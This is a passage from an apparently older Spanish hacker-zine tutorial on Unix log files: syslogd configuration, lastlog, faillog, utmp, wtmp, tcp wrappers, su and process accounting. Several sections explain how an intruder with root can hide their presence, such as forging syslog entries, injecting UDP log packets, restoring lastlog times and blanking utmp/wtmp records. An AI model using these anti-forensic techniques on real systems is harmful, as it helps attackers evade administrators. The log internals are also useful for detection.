reconstruir, hasta cierto punto, que es lo que ha sucedido e incluso
detectar al intruso en cuestion, por lo que creo que, a nivel de seguridad,
son elementos muy importantes y cuyo funcionamiento se debe de conocer a la
perfeccion.
Para que tengas en cuenta:
Este documento contiene informacion que cualquier administrador experto
ya conoce, asi que no esperes que te saque de ningun apuro, aqui se explica
la forma de funcionar de los archivos de log y algunos mecanismos sencillos
para evitar ser visto. Si es la primera vez que estudias los ficheros de log
te digo desde ya que leyendo esto no sabras aun todo lo que tienes que
saber, no me hago responsable de tus actos.
El funcionamiento de un fichero de log es muy simple, cualquiera que sepa un
poco de programacion (y sea _root_) puede editarlos, borrar lineas o introducir
lineas falsas, esto es, puede manipularlo a su gusto, o bien que tengas
acceso a lectura-escritura a los archivos de logs debido a una mala
configuracion.
Por cierto, te recomiendo que si te pones a moficar los ficheros de log de tu
maquina realices copia de seguridad antes por lo que pueda pasar. Que no es
la primera vez que al hacer un _w_ veo a ocho usuarios conectados al terminal
tty1 :-D.
Todo lo esto lo he probado en la SuSE y en la Debian, de una distrubucion a
otra no hay muchas variaciones, tal vez cambien los nombres de los ficheros
o la localizacion, como ya te he dicho depende del sistema UNIX que utilices,
pero el razonamiento es valido para todas.
Un pequeña aclaracion: en todo el documento, uso la palabra _log_ refiriendome
no a un _fichero de log_, sino a una de las "lineas" que aparece en un _fichero
de log_.
El contenido del articulo se divide en los siguientes apartados:
1) ¿Que es un fichero de log?
2) ¿Que es el Syslogd?
3) Cuando syslogd patea los logs lejos...
4) Los ficheros de log que informan de un intento de login.
5) Los ficheros de log que nos dan info acerca de un conexion a cualquier
servicio.
6) Los ficheros de log que dan testimonio de tu presencia.
7) Usando el comando su.
8) El fichero de log que puede ser usado para reconstruir que habeis estado
haciendo en el periodo en el que estuvisteis en la maquina.
9) El log abandonado
10) history: ¿quien dijo que no soy un fichero de log?
1) ¿Que es un fichero de log?
Es un fichero que contiene informacion relativa a lo que sucede en la maquina,
que contiene, por ejemplo, el dia, la hora de conexion, el nombre del usuario
o cualquier otro detalle mas relacionado con lo que esta haciendo o ha hecho
alguien. Normalmente la mayor parte de ellos se encuentran en /var/log/ y en
/var/run, aunque pueden estar en cualquier otra parte si el administrador lo
quiere.
2) ¿Que es Syslogd?
El syslogd es un demonio que se encarga de gestionar todos los logs generados
por un programa dado, se controla a traves de un fichero de configuracion que
normalmente se encuentra en /etc/syslogd.conf. Un ejemplo de una de las lineas
de este fichero es:
-------------------------------------------------------------------------
mail.warn;news.warn;auth.* /var/log/messages
-------------------------------------------------------------------------
cada linea permite dirigir un log a un determinado fichero. Un log
es de un tipo u otro segun de la aplicacion de la que venga (facilities) y del
nivel de 'gravedad' del evento que ha logueado (priorities).
Las facilities son:
kern user mail daemon auth syslog lpr news uucp
por ejemplo, los log procedentes del kernel se incluyen en la facilty kern,
los de los demonios del sistema en daemon, los de la impresora en lpr,
etc... y las priorities son:
emerg alert crit err warning notice info debug
que indican la gravedad del log. La sintaxis de cada linea del fichero de
configuraciones syslog.conf es:
facility.priority;facility.priority; ... destino
tambien se puede poner el simbolo '*' en el campo _facility_ o en el
_priority_ que se interpreta como el conjunto formado por todas las
facilites o priorities, por ejemplo:
-----------------------------------------------------------------------
*.warn /var/log/warnings
-----------------------------------------------------------------------
esto significa que un log que venga de cualquier facility, la que sea, con
priority warn o menor se mandan al fichero de log llamado _warnings_.
Tambien podemos usar 'none' para indicar que no es ninguna de las anteriores.
La segunda parte viene separada de una tabulacion (si pones un espacio NO
funciona) e indica el fichero al que se dirige el log. Quizas algunas
cambien de una version a otra de syslogd, echa un vistazo en man syslogd y
syslogd.conf.
Veamos otro ejemplo:
----------------------------------------------------------------------
*.=debug;auth.none /dev/tty8
----------------------------------------------------------------------
En este caso, todos aquellos log que vengan de cualquier facility con
priority debug (solo debug, no se incluyen las que tengan una priority
menor, asi lo indica el simbolo '='), ademas se tiene en cuenta que aquellos
log que vengan de la una facility del tipo auth y no sean debug tambien se
envian al terminal virtual tty8. Bueno, ahora seria un buen momento para
echarle un vistazo a las paginas de manual de syslogd y de syslog.conf.
Bien, si sigues leyendo significa que prefieres seguir adelante con el
documento, esto me gusta, empiezo a pensar que tengo algun tipo de control
mental sobre ti. :-))
Te comento que en el caso de que el administrador redireccione parte de los
logs a un terminal la mejor forma de eliminar evidencias es la de mandar
logs falsos a _syslogd_. Esta claro que si quieres pasar desapercibido debes
de usar logs minimamente creibles, que despisten al administrador con algo
relacionado con el hardware o simplemente errores tipicos.
Ten en cuenta que no siempre el destino tiene que ser un fichero, otra
posibilidad es mandar el log a:
- un usuario, basta con poner el nombre del usuario (por ej:
root)
- a todos lo usuarios, poniendo * (asterisco)
- a otro programa, a traves de un pipe, por ejemplo: |/nombredelprograma
- a otro host, por ejemplo: @host.dominio
- a un terminal, como en el ejemplo visto antes.
Veamos otra vez otro ejemplo
-------------------------------------------------------------------
auth.crit @logger.rete.com
auth.crit |/root/detector
auth.crit root
-------------------------------------------------------------------
syslogd manda todos los mensajes de autentificacion con prioridad critica a
otra maquina (logger.rete.com), a un programa que se llama detector y por
ultimo al root.
Cuando un programa envia un log a syslogd utiliza la funcion syslog() que esta
definida en syslog.h que se encuentra (en mi distribucion) en /usr/include.
Un ejemplo es el siguiente programa:
#include <syslog.h>
main()
{
syslog(4,"Esto es una prueba de como funciona syslog");
}
El primer parametro de syslog es el nivel de prioridad, seguido del mensaje.
Las prioridades posibles vienen definidas en syslog.h, y son:
#define LOG_EMERG 0 /* system is unusable */
#define LOG_ALERT 1 /* action must be taken immediately */
#define LOG_CRIT 2 /* critical conditions */
#define LOG_ERR 3 /* error conditions */
#define LOG_WARNING 4 /* warning conditions */
#define LOG_NOTICE 5 /* normal but significant condition */
#define LOG_INFO 6 /* informational */
#define LOG_DEBUG 7 /* debug-level messages */
La linea generada, por ejemplo en el fichero /var/log/warn, sera algo asi:
May 11 02:30:24 letoduke a.out: Esto es una prueba de como funciona el syslog
Pequeña aclaracion: Cualquier usuario puede crear su propio programa que crea
entradas. Quizas ya has pensado que se podrias hacer un bonito DoS Attack
flodeando con el mismo mensaje, pero cuando repites la misma linea aparece un
mensaje en el archivo de log diciendo:
May 11 02:30:26 letoduke last message repeated X times
esto podria arreglarse si los mensajes enviados son aleatorios, esto no lo
he probado, creo que ya hay algo de esto en el stuff de 7a69ezine...
Como puedes ver en el primer ejemplo, el formato de una linea de
/var/log/warn seria algo asi:
[Hora] [Fecha] [Maquina] [Aplicacion] [Mensaje]
Si te fijas, el mensaje envio a syslog procede de la aplicacion _a.out_
pero si pruebas a ponerle el nombre _kernel_ a tu programa el resultado
es:
May 11 02:30:24 nailbomb kernel: Esto es una prueba de como funciona el syslog
Resumiendo:
Los logs que llegan de los servidores telnet, finger, ftp, etc... son
clasificados por syslogd segun por sus priorities y facilities, y se almacena
en el fichero de log correspondiente. Por ejemplo, veamos la siguiente
linea del fichero /etc/syslogd.conf:
---------------------------------------------------------------------
x.warn /var/log/warn
x.crit /var/log/crit
---------------------------------------------------------------------
Aqui los logs de la facility _x_ con prioridad _warn_ se almacena en
/var/log/warn, mientras que los que tienen prioridad _crit_ se almacena en
en el fichero de log /var/log/crit. Esto puede ser un poco complejo a la hora
de buscar los logs de una determinada aplicacion.
Se puede complicar la cosa aun mas si resulta que un mismo log puede estar
en varios ficheros de log, por ejemplo, en la SuSE, los intentos de login
fallidos se almacenan en _faillog_ (ahora hablamos de faillog) y
/var/log/warn. Otro ejemplo de esto es al hacer un telnet, se actualiza el
log utmp, wtmp y /var/log/warn. Juega un poco con estas cosas, sacaras mucho
en claro.
Ultima aclaracion: Los ficheros de log creados por syslog son de texto, y se
puede editar con vi, siempre que tengas los permisos adecuados. En un sistema
bien configurado, un usuario normal no tiene acceso de lectura. No creo que
esta sea la mejor solucion a la hora de manipular los ficheros de log, lo suyo
es hacerse algun tipo de herramienta o un pequeño script con cualquiera de las
shell de UNIX para automatizar de alguna forma la operacion, recuerda que
cuanto todo sea mas rapido mejor.
3) Cuando syslogd patea los logs lejos...
Uno de los problemas que tiene que afrontar un administrador cuando configura
su sistema es donde poner los fichero de log, muy importantes porque en caso
de intrusion son la unica prueba que tiene. Si los ficheros de log estan en
la misma maquina, el intruso solo tiene que modificar el fichero con un editor
normal. Una posible solucion es tener los ficheros de log en otra maquina, en
mi version de Syslogd hay que pasarle la opcion -r (mira el man syslogd) para
activar la escucha remota que permite a tu maquina recibir log de otra
maquina, la escucha se hace en el puerto 514 con el protocolo UDP. Si
probamos a relanzar syslogd con la opcion -r veremos ahora con netstat -an:
udp 0 0 0.0.0.0:514 0.0.0.0:*
Ahora tu maquina esta lista para escuchar los logs que le envien, el problema
que tiene esto es que, en principio, puede recibir un paquete UDP de cualquier
maquina, pudiendose introducir tambien lineas falsas. Basta hacer un pequeño
raw socket que envie paquete UDP al puerto 514. Si el administrador es avispado
restringira las maquinas que pueden enviar paquetes UDP, aunque esto no
sucede siempre. El hecho de usar esto ya complica mucho la manipulación de
los ficheros de log.
Otra alternativa para el administrador es la de hacer algun tipo de programa
que manipule de alguna forma el log que llega a syslog (esta opcion la hemos
visto antes), que lo encripte, lo guarde en un fichero binario... o lo manipule
de alguna forma, y despues lo guarde en un fichero, pero que no sea de texto.
El intruso puede darse cuenta de que existe este programa, y dependiendo de lo
ingenioso que sea el programa, podra o no podra modificar el fichero de log.
Cualquier administrador experto empezaria a sospechar si se da cuenta que sus
ficheros de logs han sido borrados por completo. Borrar el archivo de log es
actuar como un niño que le quita veinte duro a su madre del monedero y que
luego llego a casa con una bolsa llena de chucherias. :-))
Tambien es tipico el enviar duplicados de los ficheros de log por email al
root, por si son eliminados. Todo esto depende del nivel de experiencia del
administrador.
4) Los ficheros de log que dan informacion sobre un intento de conexion.
* LASTLOG: este es un fichero que se encuentra en /var/log/lastlog y almacena
todo lo relativo a la ultima conexion realizada: terminal desde el que se
conecto, usuario, fecha. Solo almacena la info relacionada con una conexion
realizada con exito a la maquina.
usuario1 tty2 Thu Sep 14 13:29:20 -0400 2000
usuario2 **Never logged in**
usuario3 tty5 Mon Sep 25 16:54:47 -0400 2000
usuario4 tty2 Fri Sep 15 01:37:42 -0400 2000
Este fichero esta en binario, y para visualizarlo basta hacer en la linea de
comandos "lastlog", que es un programa que visualiza el contenido de
/var/log/lastlog, asi que no me confudas el comando "lastlog" con el fichero
de log "lastlog".
Cualquiera puede hacer su visor de _lastlog_, la estructura de este fichero
esta (en mi distribucion) en /usr/include/bits/utmp.h. Es la siguiente:
#define UT_LINESIZE 32
#define UT_HOSTSIZE 256
/* The structure describing an entry in the database of
previous logins. */
struct lastlog
{
__time_t ll_time; /* __time_t = long int */
char ll_line[UT_LINESIZE];
char ll_host[UT_HOSTSIZE];
};
Como puedes ver en la estructura, viene la informacion de la hora de la ultima
conexion, viene el terminal y el host (ip o nombre de la maquina) desde donde
realizo la conexion, pero te preguntaras seguramente donde demonios viene la
informacion del usuario. Muy facil, cada "linea" del fichero corresponde con
un UID, asi la linea primera es informacion del _root_ (UID=0), la 501 es del
usuario Pepe (con UID=500), etc, etc...
Volvamos al momento en el se realiza el *login*, el programa login actualiza
los ficheros de log antes de darte la shell, veamos los pasos con mas detalle:
a) Se actualiza el fichero de lastlog, almacenandose la informacion del
*login* que se ha hecho en la maquina.
b) En principio, no es posible entrar en un sistema y saber cuando se realizo
el *login* anteriot a nuestra conexion, esto es, si tu entras el 25 de mayo de
2001, jueves, a las 21:30, cuando hacemos un lastlog aparecera lo siguiente:
usuario1 tty2 Thu May 25 21:30:20 -0400 2001
en principio,no podemos saber cual fue el *login* anterior, de forma que
editemos el fichero de lastlog con la fecha, hora y terminal desde el que el
usuario estuvo trabajando por ultima vez, para que este no sospeche nada.
Observemos que ocurre tras hacer el *login*:
Welcome to SuSE Linux 7.1 (i386) - Kernel 2.4.2 (tty3).
letoduke login: paul
Password:
Last login: Wed May 22 12:41:17 on tty2 <---- ¡Mira esto!
Have a lot of fun...
paul@letoduke:~ >
Resulta que al hacer el login nos muestra la hora, fecha y terminal en el
que se hizo el ultimo *login* anterior al nuestro, esto es un arma de doble
filo porque el usuario cada vez que hace login en una maquina comprueba que
no se haya usado su cuenta en una hora sospechosa, o de un terminal
sospechoso como es 156.32.23.45, pero tambien sirve al intruso para saber
cuando fue el ultimo login. Tambien podemos averiguar cuando se realizo el
ultimo login por la informacion que contiene el fichero de logs wtmp, pero
esto lo hare' mas adelante.
Conclusiones: El fichero de lastlog debe estar normalmente con permisos de
lectura para los usuarios normales, y solo el _root_ tiene permiso de lectura
y escritura. Tienes que ser _root_ para modificarlo. Entonces sabiendo la
fecha del anterior *login* podemos modificar y volver a poner la misma, de
forma que nadie sospeche nada de nada. En cambio, si un administrador experto
se encuentra un Last Login a las 5 de la madrugada del domingo desde una
maquina remota seguro que comenzara a sospechar.
* FAILLOG: se encuenta normalmente en /var/log/faillog, en este fichero se
almacenan todos los intentos *login* fallidos realizados a una maquina.
De esta forma se puede saber, como me conto una vez mi profesor de Sistemas
Operativos, quien es el imbecil que ha intentado conectarse como _root_ a su
maquina por fuerza bruta una semana antes del examen...
Este fichero tambien es binario, y esta en /var/log/faillog, para visualizarlo
tambien se utiliza un programa llamado "faillog", que muestra por pantalla
los intentos fallidos de *login*. Tambien te permite fijar el numero maximo de
intentos que puedes realizar hasta cerrar la conexion. Esto fallos se visualizan
en el momento del login:
----------------------------------------------------------------------
letoduke login: root
Password:
1 failure since last login. Last was 01:29:39 on tty4. <-- En esta linea
Last login: Sun Dec 10 01:09:43 on tty3
Have a lot of fun...
Harkonnen~ #
----------------------------------------------------------------------
Como puedes ver viene el numero de intentos, la fecha del ultimo, y desde
que host se intento hacer la conexion.
La estructura del fichero de lastlog es la siguiente:
struct faillog
{
short fail_cnt; /* failures since last success */
short fail_max; /* failures before turning account off */
char fail_line[12]; /* last failure occured here */
time_t fail_time; /* last failure occured then */
/*
* If nonzero, the account will be re-enabled if there are no
* failures for fail_locktime seconds since last failure.
*/
long fail_locktime;
};
Esta estructura la puedes encontrar /usr/include/lastlog.h, o bien en
/usr/include/bits/utmp.h.
5) Los logs que dan info acerca de un conexion a cualquier servicio.
En este apartado me referire' al tcp wrapper (wrapper en ingles es
envoltorio), para ello veamos un poco acerca del fichero de configuracion
/etc/inetd.conf con la siguiente linea de ejemplo:
nntp stream tcp nowait news /usr/sbin/tcpd /usr/sbin/leafnode
En ella se define que cuando se realice una conexion al puerto 119 (echale
un vistazo a /etc/services, con la lista de cada servicio y su puerto
correspondiente) se ejecutara en primer lugar /usr/sbin/tcpd y despues
/usr/sbin/leafnode, que es el servidor de news en cuestion, pero te
preguntaras que demonios hace _tcpd_, pues es el que se encarga de enviar
toda la informacion relativa a la conexion realizada (fecha, hora, ip de la
maquina remota) y se la envia a syslogd, este se encargara de meter la
informacion en el fichero de log correspondiente segun la facility a la que
pertenezca la aplicacion y a la priority asignada a un mensaje de conexion.
tcpd en realidad hace tambien alguna funcion de firewalling, esto lo puedes
leer en la pagina de manual, y esta relacionado con los ficheros hosts.allow
y hosts.deny, en los que se puede restringir la conexion a cada uno de los
servicios segun la ip de la maquina remota. Tambien hay que tener en cuenta
que tcpd no es el unico wrapper usado para la gestion de las conexiones a
los servicios, hay otros como tcpserver+multilog (el primero hace las
funciones de firewalling y el segundo es el que manda los logs al fichero
correspondiente), si realmente estas interesado en el tema busca informacion
acerca de estos y otros tcp-wrappers. Lo mas normal en una distribucion
linux es encontrar _tcpd_.
Hay una forma menos evidente de usar el tcpd, este mecanismo es bastante
sencillo, veamos un ejemplo:
smtp stream tcp nowait mail /usr/sbin/tcpd /usr/sbin/sendmail
El administrador en cuestion podria haber hecho algo asi:
mkdir /usr/etc/
cp /usr/sbin/tcpd /usr/etc/sendmail
y ahora modificamos la linea del inetd.conf de forma que queda algo asi:
smtp stream tcp nowait mail /usr/etc/sendmail sendmail
En este caso, en primer lugar llamara a _sendmail_ que esta contenido en
/usr/etc/, que en realidad es _tcpd_ y despues a sendmail, pero ¿a que
sendmail?, pues la respuesta es facil, inetd buscara el sendmail contenido
en la direccion por defecto, /usr/sbin, por tanto el administrador podria
seguir haciendo uso del wrapper aunque aparentemente parece que no lo hace,
esto es facil desenmascarar, basta con hacer _sum_ (mirate man sum) para
obtener los checksum de los dos archivos, el contenido en /usr/etc y
/usr/sbin y nos dariamos cuenta de que hay gato encerrado.
Otra opcion mas dificil de localizar es la siguiente:
mv /usr/sbin/sendmail /otro/directorio/
cp /usr/sbin/tcpd /usr/sbin/sendmail
de forma que ahora modificamos la linea correspondiente a inetd.conf:
smtp stream tcp nowait mail /usr/sbin/sendmail /usr/sbin/sendmail
de esta forma en principio parece que no se hace log de las conexiones
realizadas al puerto 25, pero esto no es cierto puesto que si lees la
documentacion relacionada con tcp-wrapper, en /usr/doc/tcp_wrapper/README,
hay una variable en el Makefile que indica el siguiente programa a ejecutar,
de esta forma abria que compilar un tcpd para cada uno de los servidores que
tenemos en la maquina, algo pesado, porque supone compilar el tcp para cada uno
de los servidores que haya cargados en la maquina, aunque un administrador lo
suficientemente paranoico y con suficiente tiempo de aburrimiento es capaz de
esto y mas.
Otra alternativa a lo anterior es la de conseguir el codigo fuente de sendmail
y modificarlo, de alguna forma hacer que una vez que se lance, ejecute ademas
el tcpd, para ello hay que realizar la modificacion dicha y recompilar el
servidor de sendmail y colocarlo en /usr/sbin.
La forma de desenmascarar un tcpd renombrado como sendmail es mas complicada,
podriamos sospechar si vemos que el fichero de _sendmail_ es anormalmente
demasiado pequeño, por ejemplo si tiene un tamaño de 4184 bytes, cuando por
ejemplo mi sendmail es de un tamaño de 26488 bytes, esto da mucho que pensar.
En el caso de que el tamaño sea razonable habria que intuir la version (si,
has leido bien, porque no he descubierto la forma de saber cual es la version
de un sendmail ya compilado, no tiene la opcion --version como seria lo normal)
y usar sum o cualquier otro algoritmo que genere checksums tal como md5sum
partiendo de un sendmail que tenga la misma version, esto nos daria seguridad
completa pero complica mucho todo este asunto ya que abria que probar con
varias version de sendmail, y te juro que no solo hay dos versiones :-)).
Para conocer mas a fondo el significado de cada campo del fichero de
configuracion inetd.conf leete la pagina de manual (man inetd.conf).
6) Los ficheros de log que dan testimonio de nuestra presencia.
Veamos ahora los ficheros de log que pueden informar al administrador de la
presencia de alguien al que precisamente no se le va a hacer un fiesta de
bienvenida. :-))
Para ello comentar en primer lugar que los comando who, w, finger, last,
users, etc... son visores de estos archivos que se comentan a continuacion,
esto es, si se editan los ficheros de log utmp y wtmp, la informacion que
dan estos comandos estara falseada. Estos ficheros se actualizan al realizar
un login y cerrar la sesion. Veamos ahora con mas detalle:
* UTMP: para comprender mejor este fichero de log que se almacena en
/var/run/ veamos en primer lugar la estructura utmp almacena en
/usr/include/bits/utmp.h, que es la siguiente:
struct utmp
{
short int ut_type; /* Type of login. */
pid_t ut_pid; /* Process ID of login process. */
char ut_line[UT_LINESIZE]; /* Devicename. */
char ut_id[4]; /* Inittab ID. */
char ut_user[UT_NAMESIZE]; /* Username. */
char ut_host[UT_HOSTSIZE]; /* Hostname for remote login. */
struct exit_status ut_exit; /* Exit status of a process marked
as DEAD_PROCESS. */
long int ut_session; /* Session ID, used for windowing. */
struct timeval ut_tv; /* Time entry was made. */
int32_t ut_addr_v6[4]; /* Internet address of remote host. */
char __unused[20]; /* Reserved for future use. */
};
/* int32_t == int , estan en sys/types.h */
/* pid_t == int, estan en bits/types.h??*/
struct exit_status
{
short int e_termination; /* Process termination status. */
short int e_exit; /* Process exit status. */
};
Y los tipos de login tambien vienen definidos en umtp.h, y son los
siguientes:
#define EMPTY 0 /* No valid user accounting information. */
#define RUN_LVL 1 /* The system's runlevel. */
#define BOOT_TIME 2 /* Time of system boot. */
#define NEW_TIME 3 /* Time after system clock changed. */
#define OLD_TIME 4 /* Time when system clock changed. */
#define INIT_PROCESS 5 /* Process spawned by the init process. */
#define LOGIN_PROCESS 6 /* Session leader of a logged in user. */
#define USER_PROCESS 7 /* Normal process. */
#define DEAD_PROCESS 8 /* Terminated process. */
#define ACCOUNTING 9
por lo tanto podemos realizar un programa editor o visor de fichero de log
simplemente incluyendo la libreria bits/utmp.h al principio del programa.
Ahora para comprender la informacion contenida en wmtp veamos el siguiente
ejemplo del contenido del fichero utmp, para ello he realizado un pequeño
visor. La salida del visor, para mi maquina que tiene solo dos terminales
virtuales (tty1 y tty2) que esta siendo usada en este mismo momento es la
siguiente:
Tipo de Login: 2 Esta entrada se le añade al fichero
PID: 0 utmp al arrancar el sistema, esto es,
Terminal: ~ en el BOOT_TIME, por eso el tipo de login
ID: ~~ es 2.
Usuario: reboot En Tiempo se almacena la hora en formato
Tiempo: 1000809739 segundos UNIX del arranque. El usuario es reboot.
(Tue Sep 18 12:42:19 2001)
Direccion IP: 0 0 0 0
-------------------------
Tipo de Login: 1 Esta otra tambien se añade al arrancar,
PID: 20018 corresponde al system's runlevel.
Terminal: ~ Si te fijas el tiempo es el mismo que el
ID: ~~ anterior y el usuario es runlevel.
Usuario: runlevel
Tiempo: 1000809739 segundos
(Tue Sep 18 12:42:19 2001)
Direccion IP: 0 0 0 0
-------------------------
Tipo de Login: 8 Esta entrada se añade poco despues del
PID: 146 arranque, unos segundos despues,
Terminal: dependiendo de la velocidad de la maquina
ID: l2 y se añade cuando se carga el software
Usuario: de terminal (getty o mingetty, por
Tiempo: 1000809742 segundos ejemplo).
(Tue Sep 18 12:42:22 2001)
Direccion IP: 0 0 0 0
-------------------------
Tipo de Login: 7 El tipo de login 7 significa USER_PROCESS,
PID: 200 esto significa que el Terminal tty1, con
Terminal: tty1 PID=200 esta siendo usado por el usuario
ID: 1 nailbomber, desde la fecha que indica
Usuario: nailbomber Tiempo.
Tiempo: 1000809754 segundos
(Tue Sep 18 12:42:34 2001)
Direccion IP: 0 0 0 0
-------------------------
Tipo de Login: 7 El terminal tty2, si te fijas en el campo
PID: 203 usuario veras LOGIN, esto significa que
Terminal: tty2 ahora mismo el terminal no esta siendo
ID: 2 usado por nadie, ademas por el Tiempo
Usuario: LOGIN podemos darnos cuenta que este terminal no
Tiempo: 1000809742 segundos no ha sido usado desde el arranque.
(Tue Sep 18 15:53:50 2001)
Direccion IP: 0 0 0 0
--------------------------
Este seria el contenido de un fichero utmp muy simple, y como hemos visto,
para que un usuario no aparezca al hacer un comando w, who,... basta con poner
el campo Usuario con el valor LOGIN, porque los comandos lo que hacen es leer
el fichero utmp y mostrar todas aquella entradas en las que NO aparezca
LOGIN como usuario. Aunque si realmente quieres borrar todas las huellas
debes de poner todos los campos con los valores por defecto y el tiempo a la
hora de arranque de la maquina o al valor que tenia antes de hacer el login,
que seria lo mejor.
En una buena configuracion, el fichero no debe de tener permiso de escritura
para los usuarios porque esto supone que cualquiera puede manipularlo. Un
administrador lo suficiente paranoico podria eliminar el permiso de lectura,
de forma que ningun usuario pudiera usar los comandos w, who,... de hecho yo
lo haria, porque, ¿¿necesita un usuario realmente saber quien esta en la
maquina?? Ya se que es repetitivo comentar que eliminar el fichero utmp no
es la mejor solucion si se quiere pasar desapercibido.
* WTMP: Fichero de log que se encuentra en /var/log/ que contiene los datos
organizados de forma identica que utmp con la diferencia de que wtmp es un
historial de todos los logins y logouts realizados. Con el mismo visor del
fichero de log _umtp_ puedes ver el contenido de _wtmp_, si lo visualizas lo
normal es que tenga un tamaño considerable, asi que mejor vuelca la salida a un
fichero, ahora veamos los pasos que se realizan al actualizar wtmp desde que
la maquina se enciende hasta que se apaga (si se apaga claro):
a) Momento del arranque de la maquina y carga de software de terminal: Se
añaden tres entradas, estas tres son las que vimos antes en el ejemplo de
utmp, que son de tipo 2 (reboot), 1 (runlevel), 8 (matar proceso) y ademas
se añaden tantas entradas como terminales virtuales haya, todas con tipo de
login 5, esta representa la carga del software de terminal.
b) Entradas de terminal en estado LOGIN: esto es, si tenemos solo dos
terminales virtuales, se añadiran una entrada con tipo de login (6) todas
con usuario LOGIN, una por cada terminal.
c) Login realizado por un usuario: un usuario cualquiera se autentifica
satisfactoriamente, por ejemplo, el usuario nailbomber, por tanto se inserta
en el fichero de log una entrada con tipo de login 7 (USER_PROCESS) con usuario nailbomber y la hora de
conexion al terminal virtual,
d) Logout realizado por el usuario: el usuario en cuestion cierra la sesion
como resultado de un comando logout o exit, por tanto se añaden al fichero
de log wtmp una entrada con tipo de login 8 (DEAD_PROCESS), como consecuencia
de matar el terminal que habia abierto con el usuario actual, seguido de
un login de tipo 5 (INIT_PROCESS), para despues añadir un login de tipo 6
(LOGIN_PROCESS) con usuario LOGIN, esto significa que el terminal virtual ya
esta preparado de nuevo para que cualquier usuario haga login sobre el.
e) Apagado de la maquina: Cuando se apaga la maquina, se añade en primer
lugar una entrada del tipo de login 1 (runlevel), a continuacion una entrada
del tipo de login 8 por cada uno de los terminales abierto, seguido una de tipo
5 (INIT_PROCESS), para finalizar con una entrada con usuario _shutdown_ con
tipo de login 1 (runlevel).
Como ves, el procedimiento de añadir entradas en el wtmp es similar al utmp
pero mas pesado, puedes probar a usar un visor, de esta forma es como quizas
llegues a comprender mejor la estructura del fichero wtmp.
El comando _last_ es un visor de todo el contenido de wtmp, si modificas el
fichero utmp, al hacer un _w_ no apareceras, pero con el comando _last_
cualquier administrador sospecharia algo al ver que no coinciden los
valores. Cuando nos referimos a administradores con una maquina con un numero
de usuarios considerables, es cierto que lo mas facil es pensar que al
administador no se va a dar cuenta de que utmp y wtmp tienen valores que se
contradicen, pero para eso hay scripts que automatizan todo este trabajo y
realizan informes para el administrador, por tanto si modificas el fichero
de log utmp, tienes que hacer lo mismo con wtmp y con lastlog.
7) Usando el comando su
Vamos a hacer un experimento, prueba a hacer un login en tu maquina como
root, despues de esto haz un comando _w_, el resultado sera' algo de este
estilo:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
nailbomber tty1 - 12:42pm 2:38 0.08 0.08 -bash
nailbomber tty2 - 3:53pm 3:06 0.03 0.03 mpg123
root tty3 - 9:00pm 1:41 4.79 0.03 -bash
de esta forma resulta evidente para un administrador que alguien, de alguna
forma, ha conseguido la password, con lo cual comenzara a sospechar que algo
ha sucedido. Probemos ahora a realizar lo mismo, pero haciendo login como un
usuario normal, en apariencia totalmente inocente y despues hacemos el
comando su, despues de esto hacemos un _w_ y el resultado, segun la version
de _w_ sera:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
nailbomber tty1 - 12:42pm 2:38 0.08 0.08 -bash
nailbomber tty2 - 3:53pm 3:06 0.03 0.03 mpg123
nailbomber tty3 - 9:00pm 1:41 4.79 0.03 -bash
o bien esta otra:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
nailbomber tty1 - 12:42pm 2:38 0.08 0.08 -bash
nailbomber tty2 - 3:53pm 3:06 0.03 0.03 mpg123
nailbomber tty3 - 9:00pm 1:41 4.79 0.03 ?
Observa que en el resultado de este ultimo, en el campo WHAT aparece un
simbolo de interrogacion (?), que resultaria bastante sospechoso para el
administrador, que comenzaria a investigar que es lo que esta haciendo este
usuario, en cambio para el resultado de la otra version, no hay ninguna pista
de que el usuario haya realizado el comando su, de esta forma es mucho menos
evidente para el administrador, lo mismo que si usa los comandos finger o
who.
Hay otras formas de averiguar que se ha hecho un _su_, esto es mediante ps
con la opcion -U usuario, de forma que si hicieramos un ps -U root cuando
aparentemente solo aparecen usuarios corrientes al hacer _w_ y el resultado
es algo asi:
PID TTY TIME CMD
1 ? 00:00:04 init
2 ? 00:00:00 keventd
...
...
1029 tty5 00:00:00 bash <--- aqui hay una shell de root
Independientemente de esto, el comando ps es muy importante para la
deteccion de algun proceso extraño llamado "keylogger" o "cracker" o
cualquier otro nombre sospechoso que esta corriendo, por lo que si un
administrador encuentra esto algo del estilo no tardara en sospechar que
esta sucediendo algo extraño en su maquina.
Probemos ahora a ejecutar el siguiente programa como root en el directorio
/home/usuario_cualquiera/:
/* Programa prueba */
#include <curses.h>
main()
{
(void) getchar();
}
/* Fin programa prueba
si probamos a hacer un ps -f veremos que no aparece nada referido al
programa que se ha lanzado ni tampoco ninguna informacion acerca del su
realizado, el problema viene cuando hacemos de nuevo ps -U root, ocurrira el
mismo problema que ya veiamos anteriormente.
Una ultima precisacion: en la compilacion de _su_ hay una opcion por la que se
envian logs a syslogd, todas las distribuciones modernas van incluyendo esta
opcion, pero en las distribuciones mas antiguas lo normal es que no este' por
defecto.
8) El fichero de log que puede ser usado para reconstruir que habeis estado
haciendo en el periodo en el que estuvisteis en la maquina.
El comando acct (echale un vistazo a man acct) activa el proceso de
accouting sobre cualquier usuario que haga login en la maquina, pero ¿en que
consiste esto?, es sencillo, se guardan en un fichero de texto informacion
relacionada con todos los comandos, usuario, terminal, hora, etc.. que se han
realizado en la shell de usuario, de esta forma si sucede algo, el
administrador solo tiene que mirar este fichero de log para intentar
reconstruir lo que ha sucedido en la maquina, el problema es que este
fichero de log tiene una serie de problemas:
a) cuando el numero de usuarios es considerable en una maquina, el fichero
de log crece rapidamente, lo que hara' que tenga un tamaño considerable, mas
bien enorme, imagina una maquina con 5000 usuarios, donde unos 500 usuarios
hacen login diariamente, el archivo con la informacion relacionada con los
comandos que teclean cada usuario sera bestial.
b) No se almacena cada linea que se ha escrito sobre la shell, sino el
comando que se uso sin parametros, ademas de mas informacion. Es cierto que
esto interpretar que ha sucedido pero tampoco de forma muy clara.
Para averiguar si el accouting esta activado usamos find / -mmin 1, que nos
devolvera todos aquellos ficheros que han sido modificados en el ultimo
minuto, ya que este fichero de log es modificado constantemente, cada vez
que se teclea algo sobre la shell. Normalmente, si esta activado, los
ficheros de log se almacenan en /var/log/account. Una cosa curiosa que
puedes ver es que el fichero de log de accounting es el unico que al
realizar un _sum_ (checksum) da un resultado diferente, ya que cada vez que
